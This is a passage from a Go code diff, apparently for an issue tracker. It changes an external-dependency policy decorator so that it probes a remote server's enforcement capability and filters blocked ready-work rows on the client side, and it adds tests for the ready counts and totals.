"http://127.0.0.1:8080"), + PreviousBackend: "dolt", + AllowInsecureCredential: true, + } + if err := SaveTarget(dir, target); err != nil { + t.Fatalf("SaveTarget: %v", err) + } + got, err := LoadTarget(dir) + if err != nil { + t.Fatalf("LoadTarget: %v", err) + } + if got.PreviousBackend != "dolt" { + t.Errorf("PreviousBackend = %q, want %q", got.PreviousBackend, "dolt") + } + if !got.AllowInsecureCredential { + t.Error("AllowInsecureCredential = false after a round trip, want true") + } + + raw, err := os.ReadFile(TargetPath(dir)) + if err != nil { + t.Fatalf("reading sidecar: %v", err) + } + if !strings.Contains(string(raw), `"previous_backend": "dolt"`) { + t.Errorf("sidecar does not carry previous_backend: %s", raw) + } + if !strings.Contains(string(raw), `"allow_plaintext": true`) { + t.Errorf("sidecar does not carry allow_plaintext: %s", raw) + } +} + +// TestSaveTargetOmitsPreviousBackendAndAllowInsecureCredentialWhenUnset keeps +// the common case's sidecar exactly as small as before this fix: a workspace +// with nothing to restore and no plaintext grant must not gain two new +// always-present keys. +func TestSaveTargetOmitsPreviousBackendAndAllowInsecureCredentialWhenUnset(t *testing.T) { + dir := t.TempDir() + if err := SaveTarget(dir, testTarget(t)); err != nil { + t.Fatalf("SaveTarget: %v", err) + } + raw, err := os.ReadFile(TargetPath(dir)) + if err != nil { + t.Fatalf("reading sidecar: %v", err) + } + if strings.Contains(string(raw), "previous_backend") { + t.Errorf("sidecar carries previous_backend with nothing to restore: %s", raw) + } + if strings.Contains(string(raw), "allow_plaintext") { + t.Errorf("sidecar carries allow_plaintext with no grant: %s", raw) + } +} diff --git a/internal/httpclient/unsupported_gen.go b/internal/httpclient/unsupported_gen.go index 2e8cde872..1299968ea 100644 --- a/internal/httpclient/unsupported_gen.go +++ b/internal/httpclient/unsupported_gen.go @@ -227,11 +227,6 @@ func (unsupportedDoltStorage) ForcePush(_ context.Context) (err error) { return } -func (unsupportedDoltStorage) GetAllDependencyRecords(_ context.Context) (_ map[string][]*types.Dependency, err error) { - err = errUnsupported("GetAllDependencyRecords") - return -} - func (unsupportedDoltStorage) GetAllEventsSince(_ context.Context, _ time.Time) (_ []*types.Event, err error) { err = errUnsupported("GetAllEventsSince") return @@ -742,4 +737,4 @@ func (unsupportedDoltStorage) VersionReconciler() (_ issueops.VersionReconciler, return } -// NOTE: partial shell (145 of 200 methods generated; 55 left to this package's hand-written set). +// NOTE: partial shell (144 of 200 methods generated; 56 left to this package's hand-written set). diff --git a/internal/httpclient/wire/handshake.go b/internal/httpclient/wire/handshake.go index b0ed49785..e29e8286a 100644 --- a/internal/httpclient/wire/handshake.go +++ b/internal/httpclient/wire/handshake.go @@ -240,18 +240,16 @@ const CapIssuesCreateDefaultPriority = "issues.create.defaultPriority" // through the policy layer, so httpapi.Capabilities() — the build-level list // the parity gate compares against — never contains it. // -// UNCONSUMED since S3 reconciliation (2026-10): THIS token is unread by this -// client, not because OSS lacks external-dependency policy enforcement — the -// externaldeps decorator (internal/storage/externaldeps) exists in OSS and is -// wired unconditionally into the local storage chain (cmd/bd/storage_chain.go), -// so a local backend already applies the policy itself. What this http -// client specifically lacks is a client-side COMPOSITION of that same -// decorator around a storage.ExternalDependencyQueryStore-backed remote -// store, because a remote server advertising this capability applies the -// policy on its own side before answering — there is nothing left for the -// client to decorate. The token stays declared, because the server-side -// capability and its wire spelling are real and S10 schedules the client half -// that reads it. +// Consumed since S6 (design 3.6): the externaldeps decorator +// (internal/storage/externaldeps) wraps the http store the same as any local +// backend (cmd/bd/storage_chain.go wires it unconditionally), and consults +// storage.ExternalDependencyPolicyProber — which httpclient.Store implements +// by checking for this token in the handshake — before deciding whether to +// also enforce the policy client-side. A server that advertises this token +// has already applied the policy itself, so the decorator's own check is +// redundant there. A server that does NOT advertise it gets the ordinary +// client-side enforcement: the policy is never silently skipped merely +// because the store is remote. const CapExternalDependencies = "policy.external_dependencies" // ClientWireRevision is the wire shape this client was built to speak and diff --git a/internal/storage/externaldeps/BUILD.bazel b/internal/storage/externaldeps/BUILD.bazel index 31715e16c..8ceaede23 100644 --- a/internal/storage/externaldeps/BUILD.bazel +++ b/internal/storage/externaldeps/BUILD.bazel @@ -5,6 +5,7 @@ go_library( srcs = [ "batch_closer.go", "decorator.go", + "remote_roles.go", "resolver.go", "role_accessors.go", "uow_decorator.go", @@ -30,6 +31,7 @@ go_test( srcs = [ "decorator_test.go", "ready_wake_test.go", + "remote_roles_test.go", "uow_decorator_test.go", ], embed = [":externaldeps"], diff --git a/internal/storage/externaldeps/batch_closer.go b/internal/storage/externaldeps/batch_closer.go index 2a6b6970a..35ad20981 100644 --- a/internal/storage/externaldeps/batch_closer.go +++ b/internal/storage/externaldeps/batch_closer.go @@ -10,7 +10,12 @@ import ( ) // BatchCloser preserves external policy on bd close, including its next claim. +// Over a store that serves its roles, remoteBatchCloser refuses the next claim +// instead. func (s *Store) BatchCloser() (issueops.BatchCloser, error) { + if s.servesRoles() { + return &remoteBatchCloser{policy: s}, nil + } return &batchCloser{policy: s}, nil } diff --git a/internal/storage/externaldeps/decorator.go b/internal/storage/externaldeps/decorator.go index 9edb03880..75642ecad 100644 --- a/internal/storage/externaldeps/decorator.go +++ b/internal/storage/externaldeps/decorator.go @@ -119,6 +119,19 @@ type blockingState struct { } func (s *Store) loadBlockingState(ctx context.Context) (blockingState, error) { + // Design 3.6: a remote server that already enforces this policy itself + // (advertised as the handshake's wire.CapExternalDependencies capability, + // probed here through storage.ExternalDependencyPolicyProber) has already + // applied it before answering, so this decorator's own pass would be + // redundant — skip to an empty blocking state. A store that does not + // implement the prober, or that implements it and reports false (a remote + // server silent on the capability included), falls through to the + // ordinary client-side enforcement below: the policy is never silently + // skipped merely because the inner store is remote. + if enforced, err := s.serverEnforcesPolicy(ctx); err != nil || enforced { + return blockingState{}, err + } + queryStore, ok := storage.UnwrapStore(s.inner).(storage.ExternalDependencyQueryStore) var allDeps map[string][]*types.Dependency var err error @@ -136,6 +149,20 @@ func (s *Store) loadBlockingState(ctx context.Context) (blockingState, error) { return s.blockingStateFromRecords(ctx, allDeps) } +// serverEnforcesPolicy asks the inner store's ExternalDependencyPolicyProber, +// if it has one, whether its server already enforced this policy. +func (s *Store) serverEnforcesPolicy(ctx context.Context) (bool, error) { + prober, ok := storage.UnwrapStore(s.inner).(storage.ExternalDependencyPolicyProber) + if !ok { + return false, nil + } + enforced, err := prober.ServerEnforcesExternalDependencyPolicy(ctx) + if err != nil { + return false, fmt.Errorf("external dependencies: probe server policy: %w", err) + } + return enforced, nil +} + func (s *Store) blockingStateFromRecords(ctx context.Context, allDeps map[string][]*types.Dependency) (blockingState, error) { refs := make([]reference, 0) refsByIssue := make(map[string][]string) @@ -176,8 +203,16 @@ func (s *Store) GetReadyWork(ctx context.Context, filter types.WorkFilter) ([]*t if err != nil { return nil, err } - filter = withExternalExclusions(filter, state.refsByIssue) - return s.inner.GetReadyWork(ctx, filter) + queryFilter, blockedIDs := s.readyExclusion(filter, state.refsByIssue) + issues, err := s.inner.GetReadyWork(ctx, queryFilter) + if err != nil { + return nil, err + } + kept := dropBlockedIssues(issues, blockedIDs, filter.Limit) + if err := capKeptRows(len(kept), filter, blockedIDs); err != nil { + return nil, err + } + return kept, nil } // GetReadyWorkWithCounts is the counts-bearing equivalent of GetReadyWork. @@ -186,8 +221,23 @@ func (s *Store) GetReadyWorkWithCounts(ctx context.Context, filter types.WorkFil if err != nil { return nil, err } - filter = withExternalExclusions(filter, state.refsByIssue) - return s.inner.GetReadyWorkWithCounts(ctx, filter) + return s.readyWorkWithCounts(ctx, filter, state) +} + +// readyWorkWithCounts is GetReadyWorkWithCounts' body against an +// already-loaded blockingState, which remoteReadyClaimer reuses across its +// passes. +func (s *Store) readyWorkWithCounts(ctx context.Context, filter types.WorkFilter, state blockingState) ([]*types.IssueWithCounts, error) { + queryFilter, blockedIDs := s.readyExclusion(filter, state.refsByIssue) + rows, err := s.inner.GetReadyWorkWithCounts(ctx, queryFilter) + if err != nil { + return nil, err + } + kept, _ := dropBlockedIssuesWithCounts(rows, blockedIDs, filter.Limit) + if err := capKeptRows(len(kept), filter, blockedIDs); err != nil { + return nil, err + } + return kept, nil } // GetReadyWorkWithCountsAndTotal applies the same external exclusions as @@ -199,8 +249,106 @@ func (s *Store) GetReadyWorkWithCountsAndTotal(ctx context.Context, filter types if err != nil { return nil, 0, err } - filter = withExternalExclusions(filter, state.refsByIssue) - return s.inner.GetReadyWorkWithCountsAndTotal(ctx, filter) + return s.readyWorkWithCountsAndTotal(ctx, filter, state) +} + +// readyExclusion resolves how this decorator applies its OWN additional +// exclusions (issues with an unsatisfied external blocker) against s.inner. +// +// A store that can express types.WorkFilter.ExcludeIDs over its own +// transport (every first-party SQL-backed store) gets them folded straight +// into the filter, exactly as before: the WHERE clause does the exclusion. +// +// A store that cannot (storage.ExcludeIDsUnsupportedStore — today only +// httpclient.Store: design 3.6 / L12 leaves listReadyWork with no +// id-exclusion parameter on the v0 wire at all) instead gets a bumped Limit +// and the exclusions applied client-side by the caller. Requesting +// Limit+len(refsByIssue) rows from the UNFILTERED ready set is provably +// enough headroom to still surface Limit genuinely-unblocked rows whenever +// that many exist: refsByIssue cannot hold more entries than the number of +// issues anywhere with an unsatisfied external blocker, so at most +// len(refsByIssue) of the bumped window's extra rows can be ones this +// decorator has to drop. Whichever path is taken, the policy itself is never +// skipped — only where the exclusion happens differs. +// +// The client-side path also takes the MaxRows cap off the inner query. That +// store caps the rows it fetched, which the bump lets outnumber Limit, so +// `--limit N --max-rows N` failed with exit 2 as soon as more than N issues +// were ready, refusing a page that could never exceed N. The caller enforces +// the cap on the rows it keeps instead (capKeptRows), after the Limit trim, +// which is where issueops enforces it on the rows a SQL store delivers +// (finishReadyWorkWithCounts). +func (s *Store) readyExclusion(filter types.WorkFilter, refsByIssue map[string][]string) (queryFilter types.WorkFilter, blockedIDs map[string]bool) { + if len(refsByIssue) == 0 { + return filter, nil + } + if unsupported, ok := storage.UnwrapStore(s.inner).(storage.ExcludeIDsUnsupportedStore); !ok || !unsupported.ExcludeIDsUnsupported() { + return withExternalExclusions(filter, refsByIssue), nil + } + blockedIDs = make(map[string]bool, len(refsByIssue)) + for issueID := range refsByIssue { + blockedIDs[issueID] = true + } + queryFilter = filter + if queryFilter.Limit > 0 { + queryFilter.Limit += len(blockedIDs) + } + queryFilter.MaxRows = 0 + queryFilter.MaxRowsSource = "" + return queryFilter, blockedIDs +} + +// capKeptRows enforces the MaxRows cap readyExclusion took off the inner +// query, on the kept rows the caller is handed. With nothing to drop +// client-side the inner query kept the cap and has already enforced it. +func capKeptRows(kept int, filter types.WorkFilter, blockedIDs map[string]bool) error { + if len(blockedIDs) == 0 { + return nil + } + return issueops.EnforceMaxRowsCap(kept, filter.MaxRows, filter.MaxRowsSource) +} + +// dropBlockedIssues is readyExclusion's client-side half: it drops the rows +// blockedIDs names and trims what remains to limit. It copies into a fresh +// slice rather than compacting issues in place, so the slice s.inner returned +// still holds every row it fetched. +func dropBlockedIssues(issues []*types.Issue, blockedIDs map[string]bool, limit int) []*types.Issue { + if len(blockedIDs) == 0 { + return issues + } + kept := make([]*types.Issue, 0, len(issues)) + for _, issue := range issues { + if issue != nil && blockedIDs[issue.ID] { + continue + } + kept = append(kept, issue) + } + if limit > 0 && len(kept) > limit { + kept = kept[:limit] + } + return kept +} + +// dropBlockedIssuesWithCounts is dropBlockedIssues for counts-bearing rows. It +// also reports how many rows it dropped from the whole fetched window (before +// the limit trim), which is the figure readyWorkWithCountsAndTotal subtracts +// from the inner store's total. +func dropBlockedIssuesWithCounts(rows []*types.IssueWithCounts, blockedIDs map[string]bool, limit int) (kept []*types.IssueWithCounts, dropped int) { + if len(blockedIDs) == 0 { + return rows, 0 + } + kept = make([]*types.IssueWithCounts, 0, len(rows)) + for _, row := range rows { + if row != nil && row.Issue != nil && blockedIDs[row.ID] { + dropped++ + continue + } + kept = append(kept, row) + } + if limit > 0 && len(kept) > limit { + kept = kept[:limit] + } + return kept, dropped } func withExternalExclusions(filter types.WorkFilter, refsByIssue map[string][]string) types.WorkFilter { @@ -216,6 +364,80 @@ func withExternalExclusions(filter types.WorkFilter, refsByIssue map[string][]st return filter } +// readyWorkWithCountsAndTotal is GetReadyWorkWithCountsAndTotal's body, split +// out so CountReadyWork's fallback (below) can reuse it against an +// already-loaded blockingState instead of loading it a second time. +func (s *Store) readyWorkWithCountsAndTotal(ctx context.Context, filter types.WorkFilter, state blockingState) ([]*types.IssueWithCounts, int, error) { + queryFilter, blockedIDs := s.readyExclusion(filter, state.refsByIssue) + rows, total, err := s.inner.GetReadyWorkWithCountsAndTotal(ctx, queryFilter) + if err != nil { + return nil, 0, err + } + kept, blockedSeen := dropBlockedIssuesWithCounts(rows, blockedIDs, filter.Limit) + if len(blockedIDs) == 0 { + return kept, total, nil + } + if err := capKeptRows(len(kept), filter, blockedIDs); err != nil { + return nil, 0, err + } + + var adjustedTotal int + if total <= len(rows) { + // The fetch's own reported total says the window already held the + // entire ready set, so every blocked row the window contains is every + // blocked row the ready set contains: the subtraction is exact. This + // is judged from the rows that came back, not from the Limit asked + // for: a zero Limit means every row to a SQL store, but the http wire + // omits it and the server answers with its default page + // (workapi.DefaultReadyLimit), so an unlimited fetch can come back + // truncated too. + adjustedTotal = total - blockedSeen + } else { + // The ready set is bigger than the window that came back (the bumped + // window, or the server's default page for an unlimited fetch), so + // the window cannot say how many of its unseen rows are blocked. Nor + // can refsByIssue: it names every workspace issue with an unsatisfied + // external blocker, closed ones and ones the filter excludes included, + // and only those in the filtered ready set were ever in total. Size + // that set instead. bd ready's own page (above) is exact either way. + adjustedTotal, err = s.refetchedReadyTotal(ctx, filter, total, blockedIDs) + if err != nil { + return nil, 0, err + } + } + if adjustedTotal < len(kept) { + adjustedTotal = len(kept) + } + if adjustedTotal < 0 { + adjustedTotal = 0 + } + return kept, adjustedTotal, nil +} + +// refetchedReadyTotal sizes the externally filtered ready set when the first +// window held only part of it: it refetches the whole filtered set, ids only, +// and subtracts the blocked rows actually in it. A refetch that comes back +// truncated too (the set grew in between, or the server bounded the page) +// falls back to subtracting every blocked id, the bound least likely to +// overstate how much ready work remains. +func (s *Store) refetchedReadyTotal(ctx context.Context, filter types.WorkFilter, total int, blockedIDs map[string]bool) (int, error) { + full := filter + full.Offset = 0 + full.Limit = total + len(blockedIDs) + full.MaxRows = 0 + full.MaxRowsSource = "" + full.Lite = true + rows, fullTotal, err := s.inner.GetReadyWorkWithCountsAndTotal(ctx, full) + if err != nil { + return 0, err + } + if fullTotal > len(rows) { + return total - len(blockedIDs), nil + } + _, blocked := dropBlockedIssuesWithCounts(rows, blockedIDs, 0) + return fullTotal - blocked, nil +} + // CountReadyWork reports the externally filtered ready count. func (s *Store) CountReadyWork(ctx context.Context, filter types.WorkFilter) (int, error) { filter.Limit = 0 @@ -224,15 +446,14 @@ func (s *Store) CountReadyWork(ctx context.Context, filter types.WorkFilter) (in if err != nil { return 0, err } - filter = withExternalExclusions(filter, state.refsByIssue) if counter, ok := storage.UnwrapStore(s.inner).(storage.ReadyWorkCounter); ok { - return counter.CountReadyWork(ctx, filter) + return counter.CountReadyWork(ctx, withExternalExclusions(filter, state.refsByIssue)) } - issues, err := s.inner.GetReadyWork(ctx, filter) - if err != nil { - return 0, err - } - return len(issues), nil + // s.inner has no indexed counter (httpclient.Store among others): reuse + // the counts-and-total path above, which already copes with a store whose + // transport cannot express ExcludeIDs at all, nor this zero Limit. + _, total, err := s.readyWorkWithCountsAndTotal(ctx, filter, state) + return total, err } // ReadyCounter sizes the ready set through CountReadyWork above, so the total @@ -399,6 +620,8 @@ func matchesParentFilter(issueID string, parentID *string, allDeps map[string][] } // IsBlocked includes explicit unsatisfied external blockers in the close guard. +// A store that serves its roles refuses the reads this makes, so over one the +// per-issue roles in remote_roles.go answer instead. func (s *Store) IsBlocked(ctx context.Context, issueID string) (bool, []string, error) { blocked, blockers, err := s.inner.IsBlocked(ctx, issueID) if err != nil { @@ -429,7 +652,8 @@ func (s *Store) IsBlocked(ctx context.Context, issueID string) (bool, []string, // IsBlockedBatch preserves the external blocker invariant for batch callers. // The embedded Dolt implementation promotes this method from the wrapped // store, so it must be declared explicitly here rather than relying on -// IsBlocked alone. +// IsBlocked alone. Like IsBlocked, it refuses over a store that serves its +// roles. func (s *Store) IsBlockedBatch(ctx context.Context, issueIDs []string) (map[string]bool, error) { blocked, err := s.inner.IsBlockedBatch(ctx, issueIDs) if err != nil { @@ -463,7 +687,9 @@ func (s *Store) IsBlockedBatch(ctx context.Context, issueIDs []string) (map[stri // CloseIssueChecked applies the external guard before the atomic local close. // The local store cannot see foreign capability state, so promoting its method -// would allow an externally blocked issue to close without --force. +// would allow an externally blocked issue to close without --force. A store +// that serves its roles refuses this method; bd close goes through +// remoteBatchCloser (remote_roles.go) there. func (s *Store) CloseIssueChecked(ctx context.Context, issueID, actor string, opts storage.CloseIssueOptions) (storage.CloseIssueResult, error) { if !opts.Force { issue, err := s.inner.GetIssue(ctx, issueID) @@ -484,7 +710,9 @@ func (s *Store) CloseIssueChecked(ctx context.Context, issueID, actor string, op } // GetDependencyTree appends external refs as synthetic leaf nodes because no -// local issue row exists for the normal graph hydrator to return. +// local issue row exists for the normal graph hydrator to return. A store that +// serves its roles refuses the reads this makes; bd dep tree goes through +// remoteTreeWalker (remote_roles.go) there. func (s *Store) GetDependencyTree(ctx context.Context, issueID string, maxDepth int, showAllPaths bool, reverse bool) ([]*types.TreeNode, error) { tree, err := s.inner.GetDependencyTree(ctx, issueID, maxDepth, showAllPaths, reverse) if err != nil || reverse || len(tree) == 0 { diff --git a/internal/storage/externaldeps/decorator_test.go b/internal/storage/externaldeps/decorator_test.go index 475c379d6..7cd6f3438 100644 --- a/internal/storage/externaldeps/decorator_test.go +++ b/internal/storage/externaldeps/decorator_test.go @@ -3,6 +3,7 @@ package externaldeps import ( "context" "errors" + "fmt" "slices" "testing" "time" @@ -15,22 +16,48 @@ import ( type fakeStore struct { storage.DoltStorage - ready []*types.Issue - blocked []*types.BlockedIssue - tree []*types.TreeNode - deps map[string][]*types.Dependency - labels map[string][]*types.Issue - labelErr error - claimed []string - isBlocked bool - blockerIDs []string - closed []string - lifecycle publicops.Lifecycle - batch *fakeBatchCloser + ready []*types.Issue + blocked []*types.BlockedIssue + tree []*types.TreeNode + deps map[string][]*types.Dependency + labels map[string][]*types.Issue + labelErr error + claimed []string + isBlocked bool + blockerIDs []string + closed []string + lifecycle publicops.Lifecycle + batch *fakeBatchCloser + enforced bool + enforcedErr error + + excludeIDsUnsupported bool + // defaultPage, when positive, is how many rows a zero-Limit ready listing + // returns, while GetReadyWorkWithCountsAndTotal's total still counts the + // whole set: httpclient.Store's shape, whose wire omits a zero limit so + // the server answers with its default page. Zero keeps the SQL stores' + // meaning, every row. + defaultPage int } func (f *fakeStore) IssueLifecycle() (publicops.Lifecycle, error) { return f.lifecycle, nil } +// ServerEnforcesExternalDependencyPolicy makes every fakeStore satisfy +// storage.ExternalDependencyPolicyProber. Defaulting to (false, nil) keeps +// every existing test's raw store on today's client-side-enforcement path +// unchanged; enforced:true is set explicitly only by the test below that +// pins loadBlockingState's skip branch. +func (f *fakeStore) ServerEnforcesExternalDependencyPolicy(_ context.Context) (bool, error) { + return f.enforced, f.enforcedErr +} + +// ExcludeIDsUnsupported likewise makes every fakeStore satisfy +// storage.ExcludeIDsUnsupportedStore. Defaulting to false keeps every existing +// test's exclusions folded into WorkFilter.ExcludeIDs; excludeIDsUnsupported: +// true models httpclient.Store, whose ready listings refuse ExcludeIDs (see +// GetReadyWork below), so the decorator must drop blocked rows client-side. +func (f *fakeStore) ExcludeIDsUnsupported() bool { return f.excludeIDsUnsupported } + // BatchCloser without BatchCloserWithPolicy models a backend that predates // storage.PolicyBatchCloserSource. func (f *fakeStore) BatchCloser() (publicops.BatchCloser, error) { return f.batch, nil } @@ -59,13 +86,29 @@ func (f *fakeLifecycle) Update(context.Context, publicops.UpdateRequest) (public } func (f *fakeStore) GetReadyWork(_ context.Context, filter types.WorkFilter) ([]*types.Issue, error) { + candidates, err := f.readyCandidates(filter) + if err != nil { + return nil, err + } + limit := filter.Limit + if limit <= 0 { + limit = f.defaultPage + } + return page(candidates, filter.Offset, limit), nil +} + +// readyCandidates is the whole ready set filter admits, before paging. +func (f *fakeStore) readyCandidates(filter types.WorkFilter) ([]*types.Issue, error) { + if f.excludeIDsUnsupported && len(filter.ExcludeIDs) > 0 { + return nil, errors.New("fakeStore: ExcludeIDs cannot be expressed") + } candidates := make([]*types.Issue, 0, len(f.ready)) for _, issue := range f.ready { if !slices.Contains(filter.ExcludeIDs, issue.ID) { candidates = append(candidates, issue) } } - return page(candidates, filter.Offset, filter.Limit), nil + return candidates, nil } func (f *fakeStore) GetReadyWorkWithCounts(ctx context.Context, filter types.WorkFilter) ([]*types.IssueWithCounts, error) { @@ -85,9 +128,7 @@ func (f *fakeStore) GetReadyWorkWithCountsAndTotal(ctx context.Context, filter t if err != nil { return nil, 0, err } - unbounded := filter - unbounded.Limit, unbounded.Offset = 0, 0 - all, err := f.GetReadyWork(ctx, unbounded) + all, err := f.readyCandidates(filter) if err != nil { return nil, 0, err } @@ -242,7 +283,7 @@ func externalDep(source, ref string, depType types.DependencyType) *types.Depend return &types.Dependency{IssueID: source, DependsOnID: ref, Type: depType} } -func testStore(raw, foreign *fakeStore, configured bool) *Store { +func testStore(raw storage.DoltStorage, foreign *fakeStore, configured bool) *Store { return New( raw, func(project ProjectName) (string, bool) { @@ -321,6 +362,46 @@ func TestGetReadyWorkFailsClosedForUnconfiguredProject(t *testing.T) { } } +// TestLoadBlockingStateSkipsClientSideEnforcementWhenServerReportsItEnforced +// pins design 3.6's skip branch in loadBlockingState (internal/storage/ +// externaldeps/decorator.go) on its CURRENT shape: a remote store +// implementing storage.ExternalDependencyPolicyProber that reports +// enforced=true must stop this decorator from applying its own client-side +// exclusion at all. The S6 review's M5 mutation targeted an earlier, cruder +// "skip whenever the backend is remote" implementation that the HIGH-1 fix +// replaced with this probe-based design, so M5's exact mutation target no +// longer exists; this test gives the probe's own skip branch equivalent +// mutation coverage. Nothing else in the suite exercises enforced==true: see +// internal/httpclient/served_external_dependency_policy_test.go, which +// documents exercising only enforced==false against a real served server +// (OSS httpapi never advertises the capability). +// +// configured=false on the foreign-project locator reproduces the fail-closed +// path from TestGetReadyWorkFailsClosedForUnconfiguredProject: if the +// `if enforced { return blockingState{}, nil }` skip were removed or +// inverted, this would fall through to ordinary client-side enforcement, +// which cannot resolve "remote" and would exclude be-a. Seeing be-a survive +// is therefore proof the skip branch fired. +func TestLoadBlockingStateSkipsClientSideEnforcementWhenServerReportsItEnforced(t *testing.T) { + a := issue("be-a") + raw := &fakeStore{ + ready: []*types.Issue{a}, + deps: map[string][]*types.Dependency{ + a.ID: {externalDep(a.ID, "external:remote:payments", types.DepBlocks)}, + }, + enforced: true, + } + store := testStore(raw, &fakeStore{}, false) + + got, err := store.GetReadyWork(t.Context(), types.WorkFilter{}) + if err != nil { + t.Fatalf("GetReadyWork: %v", err) + } + if ids := issueIDs(got); !slices.Equal(ids, []string{a.ID}) { + t.Fatalf("ready IDs = %v, want [%s] (a server-enforced probe should skip this decorator's own client-side exclusion)", ids, a.ID) + } +} + func TestGetReadyWorkFailsClosedWhenForeignReadFails(t *testing.T) { a := issue("be-a") raw := &fakeStore{ready: []*types.Issue{a}, deps: map[string][]*types.Dependency{ @@ -464,6 +545,183 @@ func TestReadyTotalsAgreeAcrossOutputModes(t *testing.T) { } } +// TestReadyTotalsWhenStoreCannotExpressExcludeIDs pins the path httpclient.Store +// takes: the decorator bumps Limit and drops externally blocked rows +// client-side, and the page, its total, and CountReadyWork must all still +// exclude them. be-a comes back first, ahead of the rows kept — the order in +// which compacting the fetched rows in place once overwrote be-a before the +// total's blocked-row count reached it, so the total came out 3, not 2. +func TestReadyTotalsWhenStoreCannotExpressExcludeIDs(t *testing.T) { + a, b, c := issue("be-a"), issue("be-b"), issue("be-c") + raw := &fakeStore{ + ready: []*types.Issue{a, b, c}, + deps: map[string][]*types.Dependency{ + a.ID: {externalDep(a.ID, "external:remote:payments", types.DepBlocks)}, + }, + excludeIDsUnsupported: true, + } + store := testStore(raw, &fakeStore{}, true) + + for _, tc := range []struct { + name string + limit int + wantIDs []string + }{ + {name: "unlimited", limit: 0, wantIDs: []string{b.ID, c.ID}}, + // The bumped window (2+1) holds the whole ready set: the total is exact. + {name: "window holds the set", limit: 2, wantIDs: []string{b.ID, c.ID}}, + // The ready set outgrows the bumped window (1+1): the total is the + // inner total less every externally blocked issue. + {name: "set outgrows the window", limit: 1, wantIDs: []string{b.ID}}, + } { + t.Run(tc.name, func(t *testing.T) { + filter := types.WorkFilter{Limit: tc.limit} + issues, err := store.GetReadyWork(t.Context(), filter) + if err != nil { + t.Fatalf("GetReadyWork: %v", err) + } + if ids := issueIDs(issues); !slices.Equal(ids, tc.wantIDs) { + t.Fatalf("GetReadyWork IDs = %v, want %v", ids, tc.wantIDs) + } + rows, total, err := store.GetReadyWorkWithCountsAndTotal(t.Context(), filter) + if err != nil { + t.Fatalf("GetReadyWorkWithCountsAndTotal: %v", err) + } + ids := make([]string, 0, len(rows)) + for _, row := range rows { + ids = append(ids, row.ID) + } + if !slices.Equal(ids, tc.wantIDs) || total != 2 { + t.Fatalf("page = %v, total = %d; want %v, total 2 (be-a is externally blocked)", ids, total, tc.wantIDs) + } + }) + } + + got, err := store.CountReadyWork(t.Context(), types.WorkFilter{}) + if err != nil { + t.Fatalf("CountReadyWork: %v", err) + } + if got != 2 { + t.Fatalf("ready count = %d, want 2 (be-a is externally blocked)", got) + } +} + +// TestReadyTotalsWhenAnUnlimitedFetchComesBackAsOnePage pins the shape +// httpclient.Store has and an every-row Limit==0 fake hid: the wire omits a +// zero Limit, the server answers with its default page, and the total still +// counts the whole ready set. CountReadyWork, text-mode bd ready's total, +// always fetches with Limit 0, so be-z (ready, externally blocked, and past +// that page) once stayed in its total because the decorator took a zero Limit +// for a window that held every row. +func TestReadyTotalsWhenAnUnlimitedFetchComesBackAsOnePage(t *testing.T) { + const defaultPage = 100 // workapi.DefaultReadyLimit, the server's page for an omitted limit + ready := make([]*types.Issue, 0, defaultPage+2) + for i := range defaultPage + 1 { + ready = append(ready, issue(fmt.Sprintf("be-%03d", i))) + } + z := issue("be-z") + raw := &fakeStore{ + ready: append(ready, z), + deps: map[string][]*types.Dependency{ + z.ID: {externalDep(z.ID, "external:remote:payments", types.DepBlocks)}, + }, + excludeIDsUnsupported: true, + defaultPage: defaultPage, + } + store := testStore(raw, &fakeStore{}, true) + const want = defaultPage + 1 // every ready issue but be-z + + counter, err := store.ReadyCounter() + if err != nil { + t.Fatalf("ReadyCounter: %v", err) + } + text, err := counter.CountReady(t.Context(), publicops.ReadyRequest{}) + if err != nil { + t.Fatalf("CountReady: %v", err) + } + if text.Total != want { + t.Fatalf("text total = %d, want %d (be-z is externally blocked)", text.Total, want) + } + // The JSON total must agree, whether the page is unlimited (the server's + // default page comes back) or the CLI's default limit (bumped by one). + for _, limit := range []int{0, defaultPage} { + rows, total, err := store.GetReadyWorkWithCountsAndTotal(t.Context(), types.WorkFilter{Limit: limit}) + if err != nil { + t.Fatalf("GetReadyWorkWithCountsAndTotal(Limit %d): %v", limit, err) + } + if len(rows) != defaultPage || total != want { + t.Fatalf("Limit %d: %d rows, total %d; want %d rows, total %d (be-z is externally blocked)", limit, len(rows), total, defaultPage, want) + } + } +} + +// TestReadyTotalsIgnoreExternallyBlockedIssuesOutsideTheReadySet pins the +// total of a ready set bigger than the window that came back. refsByIssue +// names every workspace issue with an unsatisfied external blocker, closed +// ones and ones the filter excludes included, but only those in the filtered +// ready set were ever in the inner total, so subtracting all of them once +// reported 100 of 101 ready issues as soon as an issue outside the ready set +// held an external blocker. +func TestReadyTotalsIgnoreExternallyBlockedIssuesOutsideTheReadySet(t *testing.T) { + const defaultPage = 100 // workapi.DefaultReadyLimit, the server's page for an omitted limit + for _, tc := range []struct { + name string + // readyBlocked adds be-z: ready, externally blocked, and past the page. + readyBlocked bool + // outside is how many externally blocked issues are not ready. + outside int + }{ + {name: "one blocked issue outside the ready set", outside: 1}, + {name: "blocked issues inside and outside the ready set", readyBlocked: true, outside: 20}, + } { + t.Run(tc.name, func(t *testing.T) { + ready := make([]*types.Issue, 0, defaultPage+2) + for i := range defaultPage + 1 { + ready = append(ready, issue(fmt.Sprintf("be-%03d", i))) + } + deps := make(map[string][]*types.Dependency) + if tc.readyBlocked { + z := issue("be-z") + ready = append(ready, z) + deps[z.ID] = []*types.Dependency{externalDep(z.ID, "external:remote:payments", types.DepBlocks)} + } + for i := range tc.outside { + id := fmt.Sprintf("be-done-%02d", i) + deps[id] = []*types.Dependency{externalDep(id, "external:remote:payments", types.DepBlocks)} + } + raw := &fakeStore{ + ready: ready, + deps: deps, + excludeIDsUnsupported: true, + defaultPage: defaultPage, + } + store := testStore(raw, &fakeStore{}, true) + const want = defaultPage + 1 // every ready issue but be-z + + counter, err := store.ReadyCounter() + if err != nil { + t.Fatalf("ReadyCounter: %v", err) + } + text, err := counter.CountReady(t.Context(), publicops.ReadyRequest{}) + if err != nil { + t.Fatalf("CountReady: %v", err) + } + if text.Total != want { + t.Fatalf("text total = %d, want %d", text.Total, want) + } + for _, limit := range []int{0, defaultPage} { + rows, total, err := store.GetReadyWorkWithCountsAndTotal(t.Context(), types.WorkFilter{Limit: limit}) + if err != nil { + t.Fatalf("GetReadyWorkWithCountsAndTotal(Limit %d): %v", limit, err) + } + if len(rows) != defaultPage || total != want { + t.Fatalf("Limit %d: %d rows, total %d; want %d rows, total %d", limit, len(rows), total, defaultPage, want) + } + } + }) 